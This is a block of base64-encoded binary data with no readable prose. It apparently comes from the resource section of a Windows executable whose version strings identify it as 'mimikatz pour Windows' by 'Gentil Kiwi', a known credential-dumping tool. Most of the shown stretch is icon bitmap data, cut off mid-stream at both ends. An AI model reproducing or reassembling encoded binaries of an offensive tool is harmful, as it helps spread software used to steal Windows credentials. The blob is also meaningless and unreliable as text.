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wsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg0LCMwLBwPKCwgD0QsIBdQLCQfTCwsJzQsLC8QLCwy7CwsLsQsLC6gLCwucCwsLigsLC2wLCwtKCwsLKQsLCxELCwsDCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwYLCwskCwsLRAsLC2ILCgl9CwkGjw0IBqgNEhnQChos+AkeNf8HIDv/ByND/wgmRf8JJUP/CSA7/wggOf8KIDf+Cxko/QsWIPkLDRL1CwkF8wsGA/ILCQXwCwkJ6gsLC+ULCwvaCwsLyQsLC60LCwuNCwsLaAsLC0QLCwsmCwsLEgsLCwYLCwsBCwsLAAsLCwALCwsADAwMAAwMDAAMDAwADAwMAAwMDAAMDAwACwsMAAsMDAAMDAwADAwMAAwMDBMLCww5CQkJYAoIA3wMCgilDBEX2woeNP8HJEL/BiE9/wYeOP8JKEX/CSZC/wksTf8JKUf/CSlG/wkoRP8HJUP/CChI/wgpSv8IJkL/CB0z/wocLf8LEhn+CwsJ+gsHBPILCQXmCwoJ3wsLC80LCwuyCwsLiwsLC2oLCwtGCwsLKQsLCxMLCwsGCwsLAAsLCwALCwsACAUAAAgFAAAIBQAACAUAAAcEAAAFAAAAAgAAAAIAAAAGBAMAB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